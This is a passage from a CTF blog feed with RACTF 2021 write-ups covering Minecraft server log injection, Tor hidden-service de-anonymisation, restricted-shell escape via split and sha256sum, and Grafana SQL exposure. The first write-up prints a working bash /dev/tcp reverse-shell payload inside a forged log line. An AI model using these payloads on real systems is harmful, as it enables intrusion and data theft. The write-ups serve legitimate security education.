x&quot; packets, all of them require permissions we don&apos;t have, and sign requires signs we don&apos;t have. Login start has a string we can arbitrarily control and it will print to console, however 16 characters isn&apos;t enough to create the chat message. Chat is disabled so we can rule out that packet. Client settings is also limited to 16, so even if it did print to console, it isn&apos;t enough. The name item packet (probably) requires an anvil to not be ignored. This leaves us with Plugin message and Advancement tab, both of which use the identifier class.</p><p>The code snippets will all be written in the context of a fabric mod using yarn mappings 1.17.1+build.31. This could also be done with a protocol library for another language, probably more easily. Both packets use an identifier field, custom payload is more awkward to send(and doesn&apos;t work as well, unsure why), so I&apos;m going to use the advancement packet.</p><p>If we send a normal advancement tab packet</p><pre><code>MinecraftClient.getInstance().player.networkHandler.sendPacket(new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new Identifier(&quot;minecraft:abc&quot;)));
</code></pre><p>Nothing happens, there&apos;s no output in console, and our client doesn&apos;t get anything. Wiki.vg says the identifier namespace must be in the form <code>[a-z0-9_-]*</code>, so lets send one that isn&apos;t.</p><pre><code>MinecraftClient.getInstance().player.networkHandler.sendPacket(new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new Identifier(&quot;ABC:abc&quot;)));
</code></pre><p>And we get a stacktrace on the client, <code>net.minecraft.util.InvalidIdentifierException: Non [a-z0-9_.-] character in namespace of location: ABC:abc</code>. This is annoying because it means we can&apos;t send malformed identifiers without a bit more work, however the server&apos;s version of the Identifier class is the same, and this prints our string to console. Decompiling the Identifier class shows why this happens</p><pre><code>    protected Identifier(String[] id) {
        this.namespace = StringUtils.isEmpty(id[0]) ? &quot;minecraft&quot; : id[0];
        this.path = id[1];
        if (!isNamespaceValid(this.namespace)) {
            throw new InvalidIdentifierException(&quot;Non [a-z0-9_.-] character in namespace of location: &quot; + this.namespace + &quot;:&quot; + this.path);
        } else if (!isPathValid(this.path)) {
            throw new InvalidIdentifierException(&quot;Non [a-z0-9/._-] character in path of location: &quot; + this.namespace + &quot;:&quot; + this.path);
        }
    }

    private static boolean isPathValid(String path) {
        for(int i = 0; i &lt; path.length(); ++i) {
            if (!isPathCharacterValid(path.charAt(i))) {
                return false;
            }
        }

        return true;
    }

    private static boolean isNamespaceValid(String namespace) {
        for(int i = 0; i &lt; namespace.length(); ++i) {
            if (!isNamespaceCharacterValid(namespace.charAt(i))) {
                return false;
            }
        }

        return true;
    }

    public static boolean isPathCharacterValid(char character) {
        return character == &apos;_&apos; || character == &apos;-&apos; || character &gt;= &apos;a&apos; &amp;&amp; character &lt;= &apos;z&apos; || character &gt;= &apos;0&apos; &amp;&amp; character &lt;= &apos;9&apos; || character == &apos;/&apos; || character == &apos;.&apos;;
    }

    private static boolean isNamespaceCharacterValid(char character) {
        return character == &apos;_&apos; || character == &apos;-&apos; || character &gt;= &apos;a&apos; &amp;&amp; character &lt;= &apos;z&apos; || character &gt;= &apos;0&apos; &amp;&amp; character &lt;= &apos;9&apos; || character == &apos;.&apos;;
    }
</code></pre><p>This code seems to slightly disagree with what wiki.vg says about what is valid, but the most important part is that the string is concatenated into the exception as is, nothing is stripped like is the norm with chat messages and commands. If you&apos;re using a protocol library, you might not have this check at all and you might be able to just send a malformed Identifier, but I&apos;m using a fabric mod so I&apos;m going to have to do a bit more work. The only thing blocking us sending it is the constructor throwing exceptions when it is made. We can&apos;t avoid calling the constructor if we&apos;re sending an identifier, but we can just override the toString method, which is what the client calls to send it, with something like this.</p><pre><code>    static class CustomIdentifier extends Identifier {

        private String message;

        protected CustomIdentifier(String[] id) {
            super(id);
        }

        public CustomIdentifier(String id) {
            super(&quot;&quot;);
            this.message = id;
        }

        public CustomIdentifier(String namespace, String path) {
            super(namespace, path);
        }

        @Override
        public String toString() {
            return this.message;
        }

    }
</code></pre><p>Then we can start writing to the server&apos;s log, Identifiers can be up to 32kb for some reason, so we have plenty of text to create the chat message.</p><pre><code>new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new CustomIdentifier(&quot;\n[20:00:36 INFO]: &lt;RACTFAdmin&gt; !exec ls&quot;));
</code></pre><p>If you send this packet to a local test server running the bash script, it lists files, so now we just need to find the flag on the remote server. We don&apos;t know what the remote server is running, we can&apos;t see the logs and we don&apos;t know where the flag is, so we&apos;ll get a shell with some common stuff it probably has. The shell executing our commands is also restricted, this isn&apos;t too big of a deal, just need to wrap the command in something to escape it. I used <code>bash -i &gt;&amp; /dev/tcp/192.168.86.80/4444 0&gt;&amp;1</code> to get a shell and wrapped it in awk to escape restricted mode. The final code looked like</p><pre><code>MinecraftClient.getInstance().player.networkHandler.sendPacket(new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new CustomIdentifier(&quot;\n[20:00:36 INFO]: &lt;RACTFAdmin&gt; !exec awk &apos;BEGIN {system(\&quot;bash -i &gt;&amp; /dev/tcp/192.168.86.80/4444 0&gt;&amp;1\&quot;)}&apos;&quot;)));
</code></pre><p>Now we just send this packet to the server and get a shell.</p><pre><code>bash-4.4$ ls /
app bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
bash-4.4$ cat /flag.txt
ractf{DiggyDiggyHole}
</code></pre>]]></content:encoded></item><item><title><![CDATA[Writeup: Really Awesome Hidden Service]]></title><description><![CDATA[<h2 id="brief">Brief</h2><p>Difficulty: Easy</p><p>Ahoy, matey! Some dirty scallywags seem to not be respectin&apos; th&apos; pirate code! Teach them a lesson by findin&apos; out who they be.</p><pre><code>ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion</code></pre><h2 id="writeup">Writeup</h2><p>This challenge was all about de-anonymising a Tor hidden service. If we go to the <code>.onion</code> address provided,</p>]]></description><link>https://blog.ractf.co.uk/writeup-really-awesome-hidden-service/</link><guid isPermaLink="false">61184c80f72c291da352efbc</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Daniel Milnes]]></dc:creator><pubDate>Mon, 16 Aug 2021 21:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1548711567-b8113d81f3db?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDZ8fHBpcmF0ZXxlbnwwfHx8fDE2MjkxMjQ3ODI&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h2 id="brief">Brief</h2><img src="https://images.unsplash.com/photo-1548711567-b8113d81f3db?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDZ8fHBpcmF0ZXxlbnwwfHx8fDE2MjkxMjQ3ODI&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: Really Awesome Hidden Service"><p>Difficulty: Easy</p><p>Ahoy, matey! Some dirty scallywags seem to not be respectin&apos; th&apos; pirate code! Teach them a lesson by findin&apos; out who they be.</p><pre><code>ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion</code></pre><h2 id="writeup">Writeup</h2><p>This challenge was all about de-anonymising a Tor hidden service. If we go to the <code>.onion</code> address provided, we see it&apos;s a very legitimate and upstanding website for honest sharing of media.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-6.png" class="kg-image" alt="Writeup: Really Awesome Hidden Service" loading="lazy" width="1280" height="794" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-6.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-6.png 1000w, https://blog.ractf.co.uk/content/images/2021/08/image-6.png 1280w" sizes="(min-width: 720px) 720px"></figure><h3 id="intended-solution">Intended Solution</h3><p>Most methods of de-anonymising a Tor hidden service depend on finding something which is present on both the hidden service and the plaintext service. This could be as simple as the content (for example, Facebook is available as a hidden service, and is identifiably Facebook from the content) or something more obscure like a HTTP header. You can even look for points of functionality in the site and use those to get callback (email being a frequent choice for this), however the site has none of these. There&apos;s no functionality, the content seems to be unique, and the headers look normal.</p><pre><code class="language-bash">$ curl -s --socks5-hostname localhost:9050 ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion -v 1&gt;/dev/null
*   Trying 127.0.0.1:9050...
* SOCKS5 connect to ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion:80 (remotely resolved)
* SOCKS5 request granted.
* Connected to localhost (127.0.0.1) port 9050 (#0)
&gt; GET / HTTP/1.1
&gt; Host: ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion
&gt; User-Agent: curl/7.76.0
&gt; Accept: */*
&gt; 
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
&lt; Server: nginx/1.14.1
&lt; Date: Sun, 15 Aug 2021 17:24:36 GMT
&lt; Content-Type: text/html
&lt; Content-Length: 2632
&lt; Last-Modified: Sat, 03 Jul 2021 17:04:58 GMT
&lt; Connection: keep-alive
&lt; ETag: &quot;60e098ba-a48&quot;
&lt; Accept-Ranges: bytes</code></pre><p>Well, when I said the content was unique, that wasn&apos;t entirely true. There is one often overlooked part of the website that was reused, the favicon. So, let&apos;s download the favicon as a starting point.</p><pre><code>curl --socks5-hostname localhost:9050 ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion/favicon.ico --output favicon.ico</code></pre><p>And at this point, whilst we could go to the effort of getting the mmh3 hash of this favicon and searching for that on Shodan, there&apos;s already a great blog post about that from SANS.</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://isc.sans.edu/forums/diary/Hunting+phishing+websites+with+favicon+hashes/27326/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Hunting phishing websites with favicon hashes</div><div class="kg-bookmark-description">SANS Internet Storm Center - A global cooperative cyber threat / internet security monitor and alert system. Featuring daily handler diaries with summarizing and analyzing new threats to networks and internet security events.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://isc.sans.edu/iscfavicon.ico" alt="Writeup: Really Awesome Hidden Service"><span class="kg-bookmark-author">SANS Internet Storm Center</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://isc.sans.edu/diaryimages/images/21-04-19-results2.png" alt="Writeup: Really Awesome Hidden Service"></div></a></figure><p>Instead, we&apos;re going to use a tool called <a href="https://github.com/pielco11/fav-up">fav-up</a> which automates this process for us.</p><pre><code class="language-bash">$ python3 favUp.py --favicon-file favicon.ico -sc                
--&gt; favhash    :: -915494641
--&gt; file       :: ../favicon.ico
--&gt; found_ips  :: 178.62.4.214|178.62.15.164</code></pre><p>And now all we need to do is go to one of those IPs and find the flag.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-7.png" class="kg-image" alt="Writeup: Really Awesome Hidden Service" loading="lazy" width="919" height="511" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-7.png 600w, https://blog.ractf.co.uk/content/images/2021/08/image-7.png 919w" sizes="(min-width: 720px) 720px"></figure><h3 id="unintended-solution">Unintended Solution</h3><p>It was however brought to my attention during the event that there is actually a much easier solution to this challenge. All you need to do is send the server an invalid host header, which will cause it to fail back to its default vhost which reveals the flag.</p><pre><code class="language-bash">$ curl -s --socks5-hostname localhost:9050 -H &quot;Host: asd.com&quot; ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion | grep &quot;ractf&quot;
    &lt;center&gt;&lt;h2 class=&quot;bounce rainbowText&quot;&gt;ractf{DreadingPirates}&lt;/h2&gt;&lt;/center&gt;
</code></pre><p>In retrospect, the solution to this would have been to make the flag only visible on a specific vhost, rather than the default.</p><h3 id="how-it-worked">How it Worked</h3><p>The setup for this challenge was actually very simple. Whilst it couldn&apos;t just use a container on one of our usual challenge hosts, automating the process of deploying this challenge onto Digital Ocean was easy. This script would deploy a Tor hidden service and configure Nginx on a blank CentOS 8 machine and get the challenge ready to go.</p><!--kg-card-begin: html--><script src="https://gist.github.com/thebeanogamer/ada908d24af0a0209903580b70962023.js"></script><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Writeup: Missing Tools]]></title><description><![CDATA[<p>The challenge brief tells us that we have a severely broken Linux install with only a few commands available. We&apos;re told nothing about where the flag is, in fact nothing about the environment at all. Connecting to the provided IP and port, we see the string <code>SSH-2.0-dropbear_</code></p>]]></description><link>https://blog.ractf.co.uk/writeup-for-missing-tools/</link><guid isPermaLink="false">611801fff72c291da352eec0</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Ben Carter]]></dc:creator><pubDate>Mon, 16 Aug 2021 21:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1508873535684-277a3cbcc4e8?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fHRvb2xzfGVufDB8fHx8MTYyOTEzMjgzNg&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1508873535684-277a3cbcc4e8?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDN8fHRvb2xzfGVufDB8fHx8MTYyOTEzMjgzNg&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: Missing Tools"><p>The challenge brief tells us that we have a severely broken Linux install with only a few commands available. We&apos;re told nothing about where the flag is, in fact nothing about the environment at all. Connecting to the provided IP and port, we see the string <code>SSH-2.0-dropbear_2020.81</code> - this must be a an SSH server. We use the provided username and password, and we&apos;re in.</p><figure class="kg-card kg-code-card"><pre><code class="language-shell">Linux restricted shell
$ ls
This command has been disabled by your administrator.
$ dir
This command has been disabled by your administrator.
$ cat /etc/passwd
This command has been disabled by your administrator.</code></pre><figcaption>Shell experience</figcaption></figure><p>They weren&apos;t lying, huh. We don&apos;t even have tab suggestions. However, after a quick internet search for ways to view the directory listing without <code>ls</code>, we find we can use <code>echo *</code> as an <code>ls</code> substitute. Running that, we see a singular file in the directory called <code>flag.txt</code>. It looks like we&apos;ll have to print the contents of this, but without any obvious tools.</p><p>But what tools <em>do</em> we have? Recall that Linux knows where everything is from the PATH variable - and it looks like we can print that one out.</p><figure class="kg-card kg-code-card"><pre><code class="language-shell">$ echo $PATH
/usr/bin:/bin
$ echo /usr/bin/* /bin/*
/usr/bin/cal /usr/bin/dirname /usr/bin/eject /usr/bin/file /usr/bin/lsof /usr/bin/mkpasswd /usr/bin/sha256sum /usr/bin/split /usr/bin/test /usr/bin/time /usr/bin/wc /usr/bin/whoami /usr/bin/yes /bin/[ /bin/bash /bin/cat /bin/date /bin/dir /bin/echo /bin/false /bin/grep /bin/head /bin/help /bin/less /bin/ls /bin/more /bin/pwd /bin/sh /bin/sleep /bin/sync /bin/tail /bin/toysh /bin/true /bin/vi /bin/vim</code></pre><figcaption>Enumeration</figcaption></figure><p>Well, calendar isn&apos;t helpful. It looks like some of these commands have also been repurposed into displaying a simple forbidden message, and we can&apos;t use those (<code>cat, grep, head, less, more, tail, vi, vim</code>). Interestingly enough, we do have <code>sha256sum</code>. Let&apos;s run that on the flag:</p><figure class="kg-card kg-code-card"><pre><code class="language-shell">$ sha256sum flag.txt
874b03af106fa42353eeff6d7be05f43ba8dcf3e1d8298cbd82bc0af6993c707  flag.txt</code></pre><figcaption>Information leak</figcaption></figure><p>But brute-forcing that would be a massive pain, and not the right solution to the challenge. If only the flag was shorter, then we could crack the hashes more easily?</p><p>Split!</p><p>Split takes a file and writes multiple out files of the format <code>x**</code>, creating a new file whenever the previous one has reached the number of bytes you tell it. If we run split rather aggressively, by splitting every 3 bytes, we should end up with some hashes that are trivially reversible online.</p><figure class="kg-card kg-code-card"><pre><code class="language-shell">$ split -b 3 flag.txt
$ echo *
flag.txt xaa xab xac xad xae xaf xag xah xai xaj xak xal


$ sha256sum xa*
df10b4bd068175bd33f200e48e721a019091c67c06c26ae273da5aaf51424618  xaa
582c3f2f5c5c630d0ee458d5d7c859e7ed36d6fb5862a761e110562438bd4272  xab
a7f5397443359ea76c50be82c77f1f893a060925b51a332cc5da906f83d3344e  xac
569a659ae7633e5ddd7f523b283c1169dad3eb99a3da4b3ad2d5619d9236dc12  xad
7096489b19f4ab1b6c9e1502367c18d5e3adcfeb21b0a0282041ca99e798a14d  xae
618630d1fed7f03ed43dfb03eeae681c1812177c43d3afe1cbe32bb3fee12bf9  xaf
f2f9ca19dad6782e5e92edd758439f11067ae23ab0d418a56f406de6c9bb151a  xag
f481b98f744da847f44f5e67996010859061dca4945e87396016a1ef4ac38460  xah
de7bc3aee118c9689e2cba40c4c427ab8986b8a37c9c4f837e019559de9faffd  xai
a14d511b5d8b444da7ea5ab52feb71271a46bb8374ab24f5251701b23bef4276  xaj
56fb98daea7879c3e2218eb960b9150c2d7978686af5f7f43f80641a6f62b22a  xak
df8238034568781a5df3098ed46435fee0df6c807938e7dbeccb0a29f887d246  xal</code></pre><figcaption>Flag split and SHA-d</figcaption></figure><p>In a proper shell, we can post process:</p><figure class="kg-card kg-code-card"><pre><code>&#x279C; ~ $ cat out
df10b4bd068175bd33f200e48e721a019091c67c06c26ae273da5aaf51424618  xaa
582c3f2f5c5c630d0ee458d5d7c859e7ed36d6fb5862a761e110562438bd4272  xab
a7f5397443359ea76c50be82c77f1f893a060925b51a332cc5da906f83d3344e  xac
569a659ae7633e5ddd7f523b283c1169dad3eb99a3da4b3ad2d5619d9236dc12  xad
7096489b19f4ab1b6c9e1502367c18d5e3adcfeb21b0a0282041ca99e798a14d  xae
618630d1fed7f03ed43dfb03eeae681c1812177c43d3afe1cbe32bb3fee12bf9  xaf
f2f9ca19dad6782e5e92edd758439f11067ae23ab0d418a56f406de6c9bb151a  xag
f481b98f744da847f44f5e67996010859061dca4945e87396016a1ef4ac38460  xah
de7bc3aee118c9689e2cba40c4c427ab8986b8a37c9c4f837e019559de9faffd  xai
a14d511b5d8b444da7ea5ab52feb71271a46bb8374ab24f5251701b23bef4276  xaj
56fb98daea7879c3e2218eb960b9150c2d7978686af5f7f43f80641a6f62b22a  xak
df8238034568781a5df3098ed46435fee0df6c807938e7dbeccb0a29f887d246  xal
&#x279C; ~ $ cat out | cut -f 1 -d &apos; &apos;
df10b4bd068175bd33f200e48e721a019091c67c06c26ae273da5aaf51424618
582c3f2f5c5c630d0ee458d5d7c859e7ed36d6fb5862a761e110562438bd4272
a7f5397443359ea76c50be82c77f1f893a060925b51a332cc5da906f83d3344e
569a659ae7633e5ddd7f523b283c1169dad3eb99a3da4b3ad2d5619d9236dc12
7096489b19f4ab1b6c9e1502367c18d5e3adcfeb21b0a0282041ca99e798a14d
618630d1fed7f03ed43dfb03eeae681c1812177c43d3afe1cbe32bb3fee12bf9
f2f9ca19dad6782e5e92edd758439f11067ae23ab0d418a56f406de6c9bb151a
f481b98f744da847f44f5e67996010859061dca4945e87396016a1ef4ac38460
de7bc3aee118c9689e2cba40c4c427ab8986b8a37c9c4f837e019559de9faffd
a14d511b5d8b444da7ea5ab52feb71271a46bb8374ab24f5251701b23bef4276
56fb98daea7879c3e2218eb960b9150c2d7978686af5f7f43f80641a6f62b22a
df8238034568781a5df3098ed46435fee0df6c807938e7dbeccb0a29f887d246</code></pre><figcaption>Tidying up</figcaption></figure><p>And paste into <a href="https://crackstation.net/">CrackStation</a>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-27.png" class="kg-image" alt="Writeup: Missing Tools" loading="lazy" width="1024" height="381" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-27.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-27.png 1000w, https://blog.ractf.co.uk/content/images/2021/08/image-27.png 1024w" sizes="(min-width: 720px) 720px"><figcaption>Flag recovered</figcaption></figure><p>Piecing together the results, we can retrieve the flag as <code>ractf{std0ut_1s_0v3rr4ted_spl1t_sha}</code>. That was painful.</p>]]></content:encoded></item><item><title><![CDATA[Writeup: Really Awesome Monitoring Dashboard]]></title><description><![CDATA[<h2 id="brief">Brief</h2><p>Difficulty: Easy</p><p>&#x1F31F; Perfect infrastructure &#x1F31F;</p><h2 id="solution">Solution</h2><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-8.png" class="kg-image" alt loading="lazy" width="1920" height="1080" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-8.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-8.png 1000w, https://blog.ractf.co.uk/content/images/size/w1600/2021/08/image-8.png 1600w, https://blog.ractf.co.uk/content/images/2021/08/image-8.png 1920w" sizes="(min-width: 720px) 720px"></figure><p>As you can see, this challenge is based around a publicly exposed Grafana dashboard. Most of these graphs seem to be moving at random (indeed, they are being produced by Grafana&apos;s random walk function), but there is one static element,</p>]]></description><link>https://blog.ractf.co.uk/writeup-really-awesome-monitoring-dashboard/</link><guid isPermaLink="false">611a78ccf72c291da352f067</guid><category><![CDATA[RACTF 2021]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[Daniel Milnes]]></dc:creator><pubDate>Mon, 16 Aug 2021 20:00:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1579719558505-ad4a5fee0847?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fG1vbml0b3Jpbmd8ZW58MHx8fHwxNjI5MTI0ODUw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h2 id="brief">Brief</h2><img src="https://images.unsplash.com/photo-1579719558505-ad4a5fee0847?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fG1vbml0b3Jpbmd8ZW58MHx8fHwxNjI5MTI0ODUw&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Writeup: Really Awesome Monitoring Dashboard"><p>Difficulty: Easy</p><p>&#x1F31F; Perfect infrastructure &#x1F31F;</p><h2 id="solution">Solution</h2><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-8.png" class="kg-image" alt="Writeup: Really Awesome Monitoring Dashboard" loading="lazy" width="1920" height="1080" srcset="https://blog.ractf.co.uk/content/images/size/w600/2021/08/image-8.png 600w, https://blog.ractf.co.uk/content/images/size/w1000/2021/08/image-8.png 1000w, https://blog.ractf.co.uk/content/images/size/w1600/2021/08/image-8.png 1600w, https://blog.ractf.co.uk/content/images/2021/08/image-8.png 1920w" sizes="(min-width: 720px) 720px"></figure><p>As you can see, this challenge is based around a publicly exposed Grafana dashboard. Most of these graphs seem to be moving at random (indeed, they are being produced by Grafana&apos;s random walk function), but there is one static element, the &quot;System Status&quot; table. So lets have a look at how that table is being populated.</p><figure class="kg-card kg-image-card"><img src="https://blog.ractf.co.uk/content/images/2021/08/image-10.png" class="kg-image" alt="Writeup: Really Awesome Monitoring Dashboard" loading="lazy" width="592" height="242"></figure><p>If we look at the network tab in our browser, we can see a collection of meaningless requests to <code>random-walk</code>, as well as one to <code>query</code>. The POST body of that request is quite interesting. This table is being populated by the Grafana SQLite <a href="https://grafana.com/grafana/plugins/frser-sqlite-datasource/">datasource</a>, which is being sent arbitrary SQL queries.</p><pre><code class="language-json">{
  &quot;queries&quot;: [
    {
      &quot;queryText&quot;: &quot;SELECT host,status FROM logs;&quot;,
      &quot;queryType&quot;: &quot;table&quot;,
      &quot;rawQueryText&quot;: &quot;SELECT host,status FROM logs;&quot;,
      &quot;refId&quot;: &quot;A&quot;,
      &quot;timeColumns&quot;: [],
      &quot;datasource&quot;: &quot;sqlite&quot;,
      &quot;datasourceId&quot;: 1,
      &quot;intervalMs&quot;: 60000,
      &quot;maxDataPoints&quot;: 431
    }
  ],
  &quot;range&quot;: {
    &quot;from&quot;: &quot;2021-08-16T08:57:17.464Z&quot;,
    &quot;to&quot;: &quot;2021-08-16T14:57:17.464Z&quot;,
    &quot;raw&quot;: {
      &quot;from&quot;: &quot;now-6h&quot;,
      &quot;to&quot;: &quot;now&quot;
    }
  },
  &quot;from&quot;: &quot;1629104237464&quot;,
  &quot;to&quot;: &quot;1629125837464&quot;
}</code></pre><p>This means we can simply get the list of tables.</p><pre><code class="language-json">{
  &quot;queries&quot;: [
    {
      &quot;queryText&quot;: &quot;SELECT name FROM sqlite_master WHERE type =&apos;table&apos; AND name NOT LIKE &apos;sqlite_%&apos;;&quot;,
      &quot;queryType&quot;: &quot;table&quot;,
      &quot;refId&quot;: &quot;A&quot;,
      &quot;datasource&quot;: &quot;sqlite&quot;,
      &quot;datasourceId&quot;: 1
    }
  ]
}</code></pre><p>Which is shown as:</p><pre><code class="language-json">{
    &quot;results&quot;: {
        &quot;A&quot;: {
            &quot;frames&quot;: [
                {
                    &quot;schema&quot;: {
                        &quot;name&quot;: &quot;response&quot;,
                        &quot;refId&quot;: &quot;A&quot;,
                        &quot;meta&quot;: {
                            &quot;executedQueryString&quot;: &quot;SELECT name FROM sqlite_master WHERE type =&apos;table&apos; AND name NOT LIKE &apos;sqlite_%&apos;;&quot;
                        },
                        &quot;fields&quot;: [
                            {
                                &quot;name&quot;: &quot;name&quot;,
                                &quot;type&quot;: &quot;string&quot;,
                                &quot;typeInfo&quot;: {
                                    &quot;frame&quot;: &quot;string&quot;,
                                    &quot;nullable&quot;: true
                                }
                            }
                        ]
                    },
                    &quot;data&quot;: {
                        &quot;values&quot;: [
                            [
                                &quot;logs&quot;,
                                &quot;flags&quot;
                            ]
                        ]
                    }
                }
            ]
        }
    }
}</code></pre><p>We already know what&apos;s in the <code>logs</code> table, so we get the content of the <code>flags</code> table.</p><pre><code class="language-json">{
  &quot;queries&quot;: [
    {
      &quot;queryText&quot;: &quot;SELECT * FROM flags;&quot;,
      &quot;queryType&quot;: &quot;table&quot;,
      &quot;refId&quot;: &quot;A&quot;,
      &quot;datasource&quot;: &quot;sqlite&quot;,
      &quot;datasourceId&quot;: 1
    }
  ]
}</code></pre><p>And in the response, we can see the flag.</p><pre><code class="language-json">{
    &quot;results&quot;: {
        &quot;A&quot;: {
            &quot;frames&quot;: [
                {
                    &quot;schema&quot;: {
                        &quot;name&quot;: &quot;response&quot;,
                        &quot;refId&quot;: &quot;A&quot;,
                        &quot;meta&quot;: {
                            &quot;executedQueryString&quot;: &quot;SELECT * FROM flags;&quot;
                        },
                        &quot;fields&quot;: [
                            {
                                &quot;name&quot;: &quot;challenge&quot;,
                                &quot;type&quot;: &quot;number&quot;,
                                &quot;typeInfo&quot;: {
                                    &quot;frame&quot;: &quot;int64&quot;,
                                    &quot;nullable&quot;: true
                                }
                            },
                            {
                                &quot;name&quot;: &quot;flag&quot;,
                                &quot;type&quot;: &quot;string&quot;,
                                &quot;typeInfo&quot;: {
                                    &quot;frame&quot;: &quot;string&quot;,
                                    &quot;nullable&quot;: true
                                }
                            }
                        ]
                    },
                    &quot;data&quot;: {
                        &quot;values&quot;: [
                            [
                                1
                            ],
                            [
                                &quot;ractf{BringBackNagios}&quot;
                            ]
                        ]
                    }
                }
            ]
        }
    }
}</code></pre><h2 id="how-it-works">How It Works</h2><p>This challenge really highlights the limitations of Grafana&apos;s permissions model. Grafana does not bake the dashboard server side, instead it sends a large JSON blob with all the dashboard&apos;s details (in this case from <code>/api/dashboards/home</code>) and the browser will make XHR requests to collect the data to display. This means that the endpoints for the actual datasources do not understand what is appropriate data to serve and what isn&apos;t.</p><p>It is possible to put some restrictions on this, Grafana Enterprise supports some level of RBAC on datasources, and by not exposing the dashboard to anonymous users we could at least restrict access to only authenticated users. Really however, this kind of vulnerability needs to be considered at the design stage of a Grafana deployment, with an understanding of the fact that all data in the datasources will be exposed to anyone with access. You should therefore restrict access, both to the Grafana dashboard, but also to the underlying datasource by editing the permissions of the user Grafana is contacting the datasource as.</p>]]></content:encoded></item></channel></rss>